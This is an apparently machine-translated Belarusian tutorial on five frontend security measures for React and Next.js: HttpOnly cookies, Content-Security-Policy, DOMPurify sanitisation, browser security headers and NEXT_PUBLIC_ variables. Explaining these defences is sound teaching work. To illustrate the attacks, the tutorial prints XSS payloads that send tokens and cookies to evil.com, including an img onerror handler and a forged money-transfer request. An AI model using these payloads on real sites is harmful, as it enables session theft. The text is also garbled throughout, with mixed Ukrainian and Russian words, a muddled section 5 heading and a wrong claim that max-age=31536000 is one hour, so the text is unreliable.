Пяць захоўніх мераў для фронтэнду, якія неабходны кожнаму додатку на React і Next.js
Чаму пры стварэнні дапрацоўных аплікацыяў на React і Next.js выкорыстоваюцца HttpOnly-кукі, CSP, DOMPurify, заголовкі безпекі і правілы NEXT_PUBLIC_, і якія атакі кожны з іх блакуе.
Лёгкаа ўважаць абяранне безпекі за задачу бэкенду, пры тым што багатыя серьзныя вразломы, ад крадзеных сэсій да выцягнутых ключаў API, пачынаюцца ў коде кліента. Кодавые базы React і Next.js у працоўным режыме маюць элементы, якія спачатку здаюцца непатрэбнымі: кукі HttpOnly, нестандартныя заголовкі ў next.config.js, бібліятэка DOMPurify, зменныя NEXT_PUBLIC_ і правілы Content-Security-Policy. У гэтым кярыянце пояснены пяць найважлівейшых з іх, атакі, якія кожны з іх блакуе, а таксама умовы для правільнага ўжывання.
1. Захавайце токены аутэнтыкацыі праз кукі HttpOnly, ўжо не ў JavaScript
Зберагчык токенаў, верагодна, ёсць найважлівейшая рашэнне па кантролі безпекі ў фронтэндзе. Часта выкарыстоўваемы падход — це зберагчык токена ў localStorage:
localStorage.setItem("token", token);
і ручна прыкрепляць яго да кожнага запиту:
fetch("/profile", {
headers: {
Authorization: `Bearer ${token}`,
},
});
Гэта працюе, але дазволяе будзь-якаму скрыпту, які працюе на вашай сторонцы, чытаць токен.
Як XSS прыводзіць да захоплення адказу
Крос-сайт скраптінг (XSS) означае, калі зловершальнік зарабатвае можлівасць запускаць свой JavaScript у вашым сайте. Тыповая точка прыходу — адразуванне ненадзеянага HTML, напрыклад, каментаря пользователя:
<div dangerouslySetInnerHTML={{ __html: comment }} />
Якщо зловершальнік можа запусціць скрапт, чытанне токена адбываецца за адну лінію:
<script>
fetch("evil.com?token=" + localStorage.getItem("token"))
</script>
Строга гаворка, таг script, які быў дадзен через innerHTML (які викорыстоўвае dangerouslySetInnerHTML), не выконвуецца; рэальныя атакі выкарыстоўваюць пэйлоады для обробкі змаганняў, як тое, што паказана ў раздзеле 3. У будзь-якім случае, калі скрапт запускаецца, localStorage стае аблегчаным для доступу.
Хто бы ні меў токен-носіцеля, гэта адзначаеся ў системе без патрэбы у паролі, і такая особа можа адразувацься да адказу, выдавацца за пользователя, выконваць транзакцыі чы адкрыць функцыі адміністратара.
Дазвольце браузеру хаваць сесію
Стандартны рашэнь — калі сервер выдае сесыю ў кукі, да якой скрыпты не можаць дасягнуць:
Set-Cookie:
accessToken=abc123;
HttpOnly;
Secure;
SameSite=Strict
Кожны атрыбут мае конкрэтную функцыю:
HttpOnlyскрывае кукі ад JavaScript: яе чытанне за дапамою скрыпты, як паказана нижэй, не дае результата.Secureобмежвае кукі толькі HTTPS.SameSite=Strictне дазволяе браузеру адправляць кукі ў запытках, якія выходзяць з іншых сайтаў, што ёсць эфективны заход прыбліжна да атакі типу CSRF.Strictтаксама удаляе кукі, калі корыстнік прыйходзіць праз лінкі з іншых сайтаў, таму багатыя дапрыемкі выбіраюцьLax.
document.cookie
Змена стосуецца прыналежнасці. Раней фронтэнд кантролаваў токен:
Frontend controls token
Пасля — браузер:
Browser controls token
Ваш код большэй не стварае такі заголовак праз кожны вызов:
Authorization: Bearer token
таму што прыгледач аўтаматычна дадае кукі. Даныя аброцення ніколі не праходзяць через код аплікацыі. Часткам сервера паказана наша параболіка сэшнаў і JWT-аў у Node.js.
2. Застопіце запуск вбудоўваных скрыптаваў за дапамогай Content Security Policy
Адной з часта праігнораваных захоўнаўных мераў ёсць заголовак пад назвай
Content-Security-Policy
которы проекты Next.js часта насталявяюць у
next.config.js
Чаму кукі з атрыбутам HttpOnly недастатні
Падазроўваючы, што хакеру паспела вбудаваць званчыны скрыпт:
<script src="https://evil.com/hack.js"></script>
Па ўзначэнні браузер яго запускае. Нападчык не можа прачытаць кукі, але і гэтага не патрэбуе: скрыпта запускаецца ў межах вашага рэгістру, таму яе запыткі автаматычна несу кукі пользователя:
fetch("/send-money", {
method: "POST",
body: JSON.stringify({
amount: 50000,
to: "hacker",
}),
});
Бэкенд бачыць аутентыфікованы запыт і обрабоцвае перадачу данных. Той жа спосаб памагае для іншых атак:
- Фальшывыя запросы на захаджэнне. Скрыпта паказвае дыялог, які выглядае офіцыйна, падобна да тексту нижэй, і все, што запішаў пользователя, падае нападчыку.
- Прыводзячыя перенаправленні. Пользоватары таямна направляюцца на сайт фішынгу, які імітуе ваш.
"Session expired. Enter password again."
Спіс дазволенага коду
CSP паведамляе браузер, з калькі джэрел можна запускаць скрыпты. Мінімальная політыка выглядае так:
Content-Security-Policy:
script-src 'self'
'self' означае, што дазволены толькі скрыпты, якія выдаюцца з вашага сэрвара. Калі сторанка зустрочыць скрыпт з іншага домэна, напрыклад, такі, як нижчэй, браузер адмовяецца яго выканаць:
<script src="evil.com/hack.js"></script>
У Next.js вы можете адправіць заголовак для кожнага маршрута за дапамою headers() у настройках:
const nextConfig = {
async headers() {
return [
{
source: "/(.*)",
headers: [
{
key: "Content-Security-Policy",
value: "script-src 'self';",
},
],
},
];
},
};
Спрытывайце гэта як пачатковую точку. Проста запісь script-src 'self' таксама блакуе вбудованыя скрыпты, якія Next.js выкарыстоўвае для гідратацыі, таму строгая політіка зазвычай вымагае наявнасці нонсэў (пераканайцеся ў актуальных дасведчэннях Next.js пра падход з мідлвэрамі). Спачатку апыньце новыя політікі за дапамою Content-Security-Policy-Report-Only.
Два слоі, два цялкі
HttpOnly-кукі скарочваюць накананне атак типу XSS; CSP прагчае заблокаваць выкананне скрыптова ўзагалі. Праўая захопнасць выходзіць з аднойчаснага викорыстоўванняя обох.
3. Санітаравацыя HTML-тэксту пры выкарыстанні dangerousSetInnerHTML
React запобегае XSS толькі на сваёй стандартнай схеме адраджавання, дзе інтерполюемы тэкст атрыбутуецца спецыяльнымі знакамі:
<p>{content}</p>
Тады, якщо API вяртае такі строку, React адраджвае яе як звычны тэкст, а не выкананае код:
<script>alert("hacked")</script>
Спосаб атрыбутуець спецыяльнымі знакамі —
dangerouslySetInnerHTML
і React навмысна пастаў слова
dangerously
у назве гэтага.
Калі вам справды патрэбен необработаны HTML
Блогі, сторункі CMS, выходны тэкст у формате Markdown і редактары багатае тексту таксама патрэбуюць адраджавання HTML. Спадзяймося, што бэкенд вяртае:
<h1>Frontend Security</h1>
<p>Learn React Security</p>
Адраджаванне яго праз стандартную інтерполяцыю:
<p>{content}</p>
паказвае тэгі як просты текст. Пераход на спосаб атрыбутуець спецыяльнымі знакамі дае належна сформатаваны контэнт:
<div dangerouslySetInnerHTML={{
__html: content
}} />
Ён выглядае правільна, але ён являецца точкай введэння коду.
Контэнт, які дзе-ж выканана
Нападчык адправляе такі маркап:
<img src="x"
onerror="
fetch(
'evil.com?data=' + document.cookie
)"
/>
Джерэла зображэння навмысна ў некоректным стане, завантажэнне не выконваецца, і працёвнік onerror запускае JavaScript нападчыка.
Ачысціце яго за дапамою DOMPurify
Звычны спосаб — санітараваць тэкст пры адрасаванні. Установіце бібліятэку:
npm install dompurify
Імпортуйце яе:
import DOMPurify from "dompurify";
і санітаравайце контэнт пры передачы яго ў React (у рэальным кодзе вызов sanitize і return павінны стаяць на разных лініях):
const safeHTML =
DOMPurify.sanitize(content);return (
<div
dangerouslySetInnerHTML={{
__html: safeHTML,
}}
/>
);
DOMPurify адзьяўляе небяпечныя элементы, такія як елементы script, внутрашнія обработчыкі змаганняў, напрыклад onerror і onclick, URL-адрэсы у формате javascript: ў спынаках, а таксама вставленыя iframes, залишаючы толькі безпечны маркап. На сервере няма браузеровага DOM, таму код, выкананы на сервере, патрабуе рэалізацію DOM, такую як jsdom, або санітазацыю пад час запісу.
Ненадзеяныя джерэлы — ваш саёмы бэкенд
Ніколі не давайце веры даннем, якія прыходзяць нават з вашага саёмага API; гэтыя данні часта праглядаюць з менш надзеяных джерэла:
- канечныя корыстнікі
- панелі адміністрацыі
- редактары CMS
- API трэціх сторон
- редактары багатага тексту
4. Значкі безпекі браузера, якія закрываюць „тыхыя“ прасоў
У багацых конфігурацыях для працы ў рэальных умовах задаецца троіца значакаў, якія лёгка ўпусціць з увагі:
X-Frame-Options
Strict-Transport-Security
X-Content-Type-Options
Кожны з іх блакуе аднаковы напад.
X-Frame-Options протык клікджэкінгу
Нападчык стварае сторанку на сваём домэне:
evil.com
і завантажае ваш сайт у невидмым iframe на яго верхній частцы. Пользователь думае, што ён натыкаецца
Claim Prize
але клік падае на ваш справжнія кнопку, яка знаходзится падаўней:
Transfer ₹50,000
Это і є клікджэкінг. Рашэння — забарыць формаванне фреймоў:
X-Frame-Options: DENY
Тады браузер адмовяецца ствараць фреймы з вашыма сторанкамі. Сучасны эквывалент CSP — frame-ancestors 'none'; настройка обох способаў падтрымлівае старэйшыя браузеры.
Strict-Transport-Security для прымусу викорыстання HTTPS
У ненадзірванных сетях, такіх як публічны Wi-Fi, трафік у формате HTTP можа быць перехоплены, што прыводзіць да адкрыцця пароў, дадзэнняй сесіі, одноразовых кодаў і іншай прыватной інфармацыі. HSTS паведамляе браузер викорыстоўваць толькі HTTPS:
Strict-Transport-Security:
max-age=31536000
Калі браузер вже побачыў гэты заголовак, нават адрас, увведзены рукой, як
http://example.com
автаматычна перакладаецца у
https://example.com
до таго, як будь-якае запытанне пакінуе прыстрой. Значэння max-age становіць адна годзіну. Браузер выучае гэта правіло толькі через HTTPS, таму першыя візіты застаюцца без захавання, якщо толькі домэн не быў падготавлены заздалегідь.
X-Content-Type-Options проты аналізу MIME
Браузеры з історычных прычын намагаліся здогадацца пра рэальны тип файлу. Якщо сервер заявляе
Content-Type: image/jpeg
але файл на самай працэ павінен містыць скрыпты, браузер, які аналізуе файлы, можа спрацаваць яго як виконвальны. Для блакання такой дзеянні існуе адны заголовак:
X-Content-Type-Options:
nosniff
Ён паведамляе браузеру даваць веры заявленаму Content-Type і перастаць здагадванні.
Установка ўсіх трохох у Next.js
const nextConfig = {
async headers() {
return [
{
source: "/(.*)",
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key:
"Strict-Transport-Security",
value:
"max-age=31536000",
},
{
key:
"X-Content-Type-Options",
value: "nosniff",
},
],
},
];
},
};
Гэтыя заголовкі практычна нічога не коштаюць і усуваюць цэлыя категоріі атак.
5. Адзінольна схованка сервера адзінольна адзінольная з мэнеджаментнымі зменнымі, виднымі ў прыгледчыку
Зберагачэнне файла .env параду Гіт не робіць схованкі безпечнымі. Важнае — гэта, што апошней з’яўляецца ў пакете JavaScript.
Як схованкі прабіваюць у пакет
Возьмімо такую зменную:
SECRET_KEY=abc123
Апылена з коду кліента:
console.log(
process.env.SECRET_KEY
);
Калі інструмент зборкі вбудоввае мэнеджаментныя зменныя ў час зборкі, готавы код мае літэральную значэнне:
console.log("abc123");
Кожны можа прачытаць яго ў інструментах разработчыка. Next.js заходзіць ад такога варуанту: зменныя без прыфікса NEXT_PUBLIC_ не вбудовваюцца ў код прыгледчыка і там чытаюцца як undefined. Шчыління выходзяць, калі схованка атрымвае прыфікс public, каб спакаваць адказку, або калі серверны компонент перадае яе кліентскаму компоненту як параметр.
Контракт NEXT_PUBLIC_
Толькі зменныя, назвы якіх пачынаюцца з
NEXT_PUBLIC_
включаюцца ў версію браузера. Такая значэнне можа быць выклікана без проблем:
NEXT_PUBLIC_API_URL=
https://api.com
і яе можна прачытаць у коде кліента так:
process.env
.NEXT_PUBLIC_API_URL
так как URL API ў будзь-якім случае є публічным.
Што ніколі не павінна быць публічным
Этыя элементы должны застацца толькі на сервере:
JWT_SECRET
DATABASE_URL
AWS_SECRET
STRIPE_SECRET_KEY
PRIVATE_KEYS
Тыповая наладка для працы
У рэпазітарые няма файлу .env, таму што гэты файл знаходзіцца ў списку .gitignore:
.env
Рэальныя значэння вводзяцца системай CI/CD або платформай хостынгу пад час стварэння або развяртання. Толькі значэнні з прыметнікам NEXT_PUBLIC_ падаюць у бандл браузера; всё інша застаецца на сервере.
Правілу, якое трэба памятаць: якщо браузер можа доступаць да значэння, яно є публічным. Няма жадных секрэтных данных фронтэнда, якія б насправды былі секрэтнымі.
Ключовыя выводы
Безпека фронтэнду заключаецца у скорачванні плошчы атакі і ускладнэнні ее выкарыстання, шар за шарам.
- HttpOnly кукі не дазволяюць вставленым скрыптам доступаць да токэнаў сесіі.
- Палітыка безпекі кантэнту запобегае выконванню неавтарызаваных скрыптаў, але для сумежнасці з унутранымі скрыптамі Next.js патрэбны нонсы.
- DOMPurify робіць
dangerouslySetInnerHTMLбезпечным для кантэнту, які вы не пісалі. - Заголовкі безпекі практычна без зусиль блакуюць clickjacking, падвышэнне протакола і аналіз MIME.
- Межа
NEXT_PUBLIC_вялічы, што будзе адправленае да браузера, таму трэба спрыятаць гэты прыфікс як рашэнне пра публікацыю.
Знанне таго, якія атакі зупіняе кожны патэрн, дапамагае правільна яго настроіць і з’явіцца, калі якой-небудзь не хапяе.